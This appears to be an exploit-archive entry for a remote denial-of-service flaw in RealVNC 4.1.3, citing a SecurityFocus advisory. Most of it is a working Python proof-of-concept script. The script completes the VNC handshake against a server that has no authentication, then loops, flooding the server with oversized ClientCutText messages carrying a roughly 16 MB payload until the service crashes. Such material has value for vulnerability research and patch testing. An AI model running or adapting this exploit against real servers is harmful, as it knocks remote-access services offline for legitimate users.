RealVNC 4.1.3 – ‘ClientCutText’ Message Remote Denial of Service
source: https://www.securityfocus.com/bid/39895/info RealVNC Viewer is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. RealVNC 4.1.3 is vulnerable; other versions may also be affected. import sys, struct, socket host ='localhost' port = 5900 def crash_vnc_server(): try: while 1: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(1.0) print 'Connected' try: b = s.recv(8192) print 'ProtocolVersion Received' s.send(b) print 'ProtocolVersion Sent' b = s.recv(8192) print 'Security Received' s.send('\x01') print 'Security Sent' # Recv SecurityResult b = s.recv(8192) print 'SecurityResult Received' if (len(b) == 4 and b[0] == chr(0) and b[1] == chr(0) and b[2] == chr(0) and b[3] == chr(0)): print 'SecurityResult OK' else: print 'SecurityResult Failed.\n\nThe server must be set '\ 'to No Authentication for this to work, otherwise '\ 'you \'ll need to write the necessary client side '\ 'authentication code yourself.' return s.send('\x01') print 'ClientInit Sent' b = s.recv(8192) print 'ServerInit Received' text_len = 0xFFFFFF text_str = struct.pack('L', text_len) + '\xAA' * text_len while 1: s.send('\x06\x00\x00\x00' + text_str) print 'ClientCutText Sent' except Exception: print 'Connection closed' except Exception: print 'Couldn\'t connect' crash_vnc_server() |